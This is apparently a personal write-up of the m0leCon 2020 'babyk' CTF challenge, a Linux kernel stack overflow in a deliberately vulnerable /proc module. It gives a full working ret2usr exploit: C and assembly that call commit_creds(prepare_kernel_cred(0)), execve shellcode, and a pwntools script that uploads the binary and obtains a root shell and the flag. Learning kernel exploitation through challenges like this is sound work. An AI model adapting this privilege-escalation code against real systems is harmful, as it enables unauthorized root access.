This is an introductory Linux kernel PWN challenge (217 pt, 20 solves). I did not solve it during the CTF.
I wanted to play a bit with, you know, modules and stuff…let me know if you liked it!
nc challs.m0lecon.it 9012
Author: @madt1m
There is a great tutorial on Linux kernel PWN challenges by @2019. This write-up from fibonHack also helped a lot on understanding this challenge.
We were given a zip file:
peilin@PWN:~/m0leconctf-2020/babyk$ unzip babyk.zip
Archive: babyk.zip
inflating: babyk.c
inflating: bzImage
inflating: initramfs.cpio
inflating: start.sh
This is my first time solving a Linux kernel PWN challenge…What are we supposed to do with these files? Let’s first take a took at start.sh
:
#!/bin/bash random_string=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) real_hash=$(echo -n $random_string | md5sum | cut -d" " -f1) echo "MD5 for $random_string if you may! " read -t 15 computed_hash if [ $? -ne 0 ] || [ $real_hash != $computed_hash ]; then echo "NOPE" exit 1 else timeout --foreground 300 qemu-system-x86_64 \ -m 64M \ -kernel /home/pwn/bzImage \ -nographic \ -append "root=/dev/ram rw oops=panic panic=1 console=ttyS0 quiet nokaslr" \ -initrd /home/pwn/initramfs.cpio \ -monitor /dev/null fi
When we do nc
to the server, it will fire up QEMU with bzImage
as kernel image, and initramfs.cpio
as initial ramdisk (initrd):
peilin@PWN:~/m0leconctf-2020/babyk$ file bzImage
bzImage: Linux kernel x86 boot executable bzImage, version 5.5.13 (pete@pete-devlab) #2 Sun May 10 12:02:36 CEST 2020, RO-rootFS, swap_dev 0x1, Normal VGA
peilin@PWN:~/m0leconctf-2020/babyk$ file initramfs.cpio
initramfs.cpio: ASCII cpio archive (SVR4 with no CRC)
You can think of bzImage
as the compressed version of the original kernel image, traditionally called vmlinux
.vmlinux
can be extracted from bzImage
using this script:
peilin@PWN:~/m0leconctf-2020/babyk$ ./extract-vmlinux bzImage > vmlinux
peilin@PWN:~/m0leconctf-2020/babyk$ checksec vmlinux
[*] ‘/home/user/m0leconctf-2020/babyk/vmlinux’
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
Let’s see what’s inside initramfs.cpio
:
peilin@PWN:~/m0leconctf-2020/babyk$ mkdir initrd
peilin@PWN:~/m0leconctf-2020/babyk$ cd initrd
peilin@PWN:~/m0leconctf-2020/babyk/initrd$ cpio -idv < ../initramfs.cpio
…
2365 blocks
peilin@PWN:~/m0leconctf-2020/babyk/initrd$ ls
bin build_initramfs.sh init lib root
peilin@PWN:~/m0leconctf-2020/babyk/initrd$ ls lib/modules/5.5.13/
babyk.ko
peilin@PWN:~/m0leconctf-2020/babyk/initrd$ root/
flag.txt
Interesting. babyk.ko
is a loadable kernel module (LKM) which is supposed to be vulnerable. Our goal is to exploit the vulnerability, get a root shell, then read /root/flag.txt
. Time to get down to business!
This time we were given the source code of the vulnerable module:
#include <linux/module.h> #include <linux/moduleparam.h> #include <linux/init.h> #include <linux/kernel.h> #include <linux/proc_fs.h> #include <asm/uaccess.h> #define BUFSIZE 100 static int leetness=20; module_param(leetness,int,0660); static struct proc_dir_entry *ent; static ssize_t babywrite(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) { int num, c, m; char buf[BUFSIZE]; // if(*ppos > 0 || count > BUFSIZE) // return -EFAULT; if(raw_copy_from_user(buf, ubuf, count)) return -EFAULT; num = sscanf(buf,"%d",&m); if(num != 1) return -EFAULT; leetness = m; c = strlen(buf); printk("LEETNESS SCORE: %d", leetness); *ppos = c; return c; } static ssize_t babyread(struct file *file, char __user *ubuf,size_t count, loff_t *ppos) { printk("READ NOT IMPLEMENTED YET"); return 0; } static struct file_operations myops = { .owner = THIS_MODULE, .read = babyread, .write = babywrite, }; static int baby_init(void) { ent=proc_create("babydev",0660,NULL,&myops); printk(KERN_ALERT "Baby initialized!"); return 0; } static void baby_cleanup(void) { proc_remove(ent); printk(KERN_WARNING "BYE!"); } module_init(baby_init); module_exit(baby_cleanup);
There is a very obvious buffer overflow in babywrite()
on line 23. At this point I don’t really understand the interface between the kernel and an LKM yet, but basically this module creates a device called babydev
and registers some handlers to the kernel:
static struct file_operations myops = { .owner = THIS_MODULE, .read = babyread, .write = babywrite, };
Whenever we write to babydev
, babywrite()
is called to handle it. Since it is not performing any bounds checking, let’s see what happens if we write a whole bunch of junk to it.
Well, first I’m gonna modify the Bash script for local debugging:
#!/bin/bash qemu-system-x86_64 \ -m 64M \ -kernel /home/user/m0leconctf-2020/babyk/initrd/bzImage \ -nographic \ -append "root=/dev/ram rw oops=panic panic=1 console=ttyS0 quiet nokaslr" \ -initrd /home/user/m0leconctf-2020/babyk/initrd/initramfs.cpio \ -monitor /dev/null
peilin@PWN:~/m0leconctf-2020/babyk/initrd$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
peilin@PWN:~/m0leconctf-2020/babyk/initrd$ ./debug.sh
Spectre V2 : Spectre mitigation: kernel not compiled with retpoline; no mitigation available!
STARTING
adduser: warning: can’t lock ‘/etc/passwd’: Permission denied
addgroup: warning: can’t lock ‘/etc/group’: Permission denied
sh: can’t access tty; job control turned off
/ $ Baby initialized!
echo aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraa
asaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaa
bnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab > /proc/babydev
general protection fault: 0000 [#1] NOPTI
CPU: 0 PID: 1 Comm: sh Tainted: P O 5.5.13 #2
RIP: 0010:0x6261616862616167
Code: Bad RIP value.
RSP: 0018:ffffc90000007e88 EFLAGS: 00000282
…
Kernel panic – not syncing: Fatal exception
Kernel Offset: disabled
Rebooting in 1 seconds..
…
Oh my, a kernel panic. Seems like we’ve overwritten the return address with our cyclic pattern. What’s the offset?
peilin@PWN:~/m0leconctf-2020/babyk/initrd$ cyclic –offset `echo 0x62616167 | xxd -r | rev`
124
Nice. Now it’s time to think about the exploit.
By the way, kernel ASLR (KASLR) is off (nokaslr
), but user ASLR is on:
/ $ cat /proc/sys/kernel/randomize_va_space
2
So, what’s the plan? After triggering the buffer overflow in kernel space, we want to do commit_creds(prepare_kernel_cred(0))
to change the privilege of our current process to root. After that, we return to user space, get a shell, now with root privilege!
Note that commit_creds(prepare_kernel_cred(0))
is only effective to our current process (namely my exploit program), so we have to get another shell (maybe by execve()
) while we still have the root privilege.
Here’s my exploit, exp.c
and exp.S
:
#define PROT_READ 0x1 /* Page can be read. */ #define PROT_WRITE 0x2 /* Page can be written. */ #define PROT_EXEC 0x4 /* Page can be executed. */ #define MAP_PRIVATE 0x02 /* Changes are private. */ #define MAP_FIXED 0x10 /* Interpret addr exactly. */ #define MAP_ANONYMOUS 0x20 /* Don't use a file. */ #define MAP_GROWSDOWN 0x100 /* Stack-like segment. */ #define O_RDWR 0x02 /* open for reading and writing */ #define OFFSET 124 #define SYS_WRITE 0x01 #define SYS_OPEN 0x02 #define SYS_MMAP 0x09 typedef unsigned long long u64; typedef long long s64; extern void kernel_shellcode(); /* http://shell-storm.org/shellcode/files/shellcode-806.php * execve("/bin/sh", ["/bin/sh"], NULL) */ char user_shellcode[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; s64 syscall(int num, u64 a1, u64 a2, u64 a3, u64 a4, u64 a5, u64 a6) { s64 ret; /* https://gcc.gnu.org/onlinedocs/gcc/Local-Register-Variables.html */ register u64 r10 asm("r10") = a4; register u64 r8 asm("r8") = a5; register u64 r9 asm("r9") = a6; asm volatile("syscall\n" : "=a" (ret) : "a" (num), "D" (a1), "S" (a2), "d" (a3), "r" (r10), "r" (r8), "r" (r9) : "memory"); return ret; } void *mmap(void *addr, u64 size, u64 prot, u64 flags) { return (void *)syscall(SYS_MMAP, (u64)addr, size, prot, flags, 0, 0); } void mcpy(char *dst, char *src, u64 n) { for (u64 i = 0; i < n; ++i) dst[i] = src[i]; } int _start(int argc, char **argv) { char buf[0x1000]; char *payload = buf; /* ret2usr */ void *user_stack = mmap((void *)0xdead000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, \ MAP_ANONYMOUS|MAP_FIXED|MAP_PRIVATE|MAP_GROWSDOWN); void *user_text = mmap((void *)0xbeef000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, \ MAP_ANONYMOUS|MAP_FIXED|MAP_PRIVATE); mcpy(user_text, (char *)&user_shellcode, sizeof(user_shellcode)); /* buffer overflow payload */ for (int i = 0; i < OFFSET; i++) *(payload++) = 'A'; *(u64 *)payload = (u64)kernel_shellcode; payload += 8; /* open /proc/babydev */ int vuln_fd = syscall(SYS_OPEN, (u64)"/proc/babydev", O_RDWR, 0, 0, 0, 0); /* write our payload to it...PWN!*/ syscall(SYS_WRITE, vuln_fd, (u64)buf, (payload - buf), 0, 0, 0); return 0; }
.text .intel_syntax noprefix .global kernel_shellcode kernel_shellcode: # commit_creds(prepare_kernel_cred(0)) xor rdi, rdi mov rax, 0xffffffff81052a60 # cat /proc/kallsyms | grep prepare_kernel_cred call rax mov rdi, rax mov rax, 0xffffffff81052830 # cat /proc/kallsyms | grep commit_creds call rax context_switch: swapgs push 0x2b # ss push 0xdead000 # rsp push 0x202 # rflags push 0x33 # cs push 0xbeef000 # rip iretq
Compile with gcc exp.c exp.S -no-pie -nostdlib -fomit-frame-pointer -o exp
. A few more thing to say about exp.S
:
Recall that there’s no KASLR, so I just did cat /proc/kallsyms
in QEMU and hardcoded the address of prepare_kernel_cred()
and commit_creds()
in my exploit.
Another thing is: How to set up the trapframe (namely from line 16 to 20 in exp.S
)? For %ss, %rflags and %cs, I just made a breakpoint (see 2019’s tutorial for how to debug) before a syscall
and copied them… For %rip, point it to our user_shellcode
set up by mmap()
in exp.c
. We don’t really care about %rsp as long as there’s a writable page – However we don’t know where the “original” user stack is, since user ASLR is on. Therefore I simply set up a temporary stack page at fixed location myself (line 66 and 67 in exp.c
).
The last question is how to send my exploit to the server. Since it doesn’t have GCC, I wrote a Python script to send my executable in base64, piece by piece:
from pwn import * from hashlib import md5 from base64 import b64encode import os def send_exp(exp): SZ = 128 for i in range(0, len(exp), SZ): chunk = exp[i: min(i + SZ, len(exp))] print(chunk.decode()) cmd = "echo %s >> exp.base64" % chunk.decode() p.sendline(cmd) if __name__ == "__main__": with open("./exp", "rb") as f: exp = b64encode(f.read()) p = remote("challs.m0lecon.it", 9012) quiz = p.recvline().split(b" ")[2] success(quiz) p.sendline(md5(quiz).hexdigest()) p.recvuntil("Baby initialized!") p.sendline("cd /home/user") send_exp(exp) p.sendline("cat exp.base64 | base64 -d > exp") p.sendline("chmod +x exp") p.interactive()
Let’s see:
~ $ cat exp.base64 | base64 -d > exp
~ $ chmod +x exp
~ $ $ id
id
uid=1000(user) gid=1000(user) groups=1000(user)
~ $ $ ./exp
./exp
/bin/sh: can’t access tty; job control turned off
/home/user # $ id
id
uid=0(root) gid=0(root)
/home/user # $ cat /root/flag.txt
cat /root/flag.txt
ptm{y0ure_w3lc0m3_4_4ll_th15_k3rn3l_m3g4_fun}
Nice!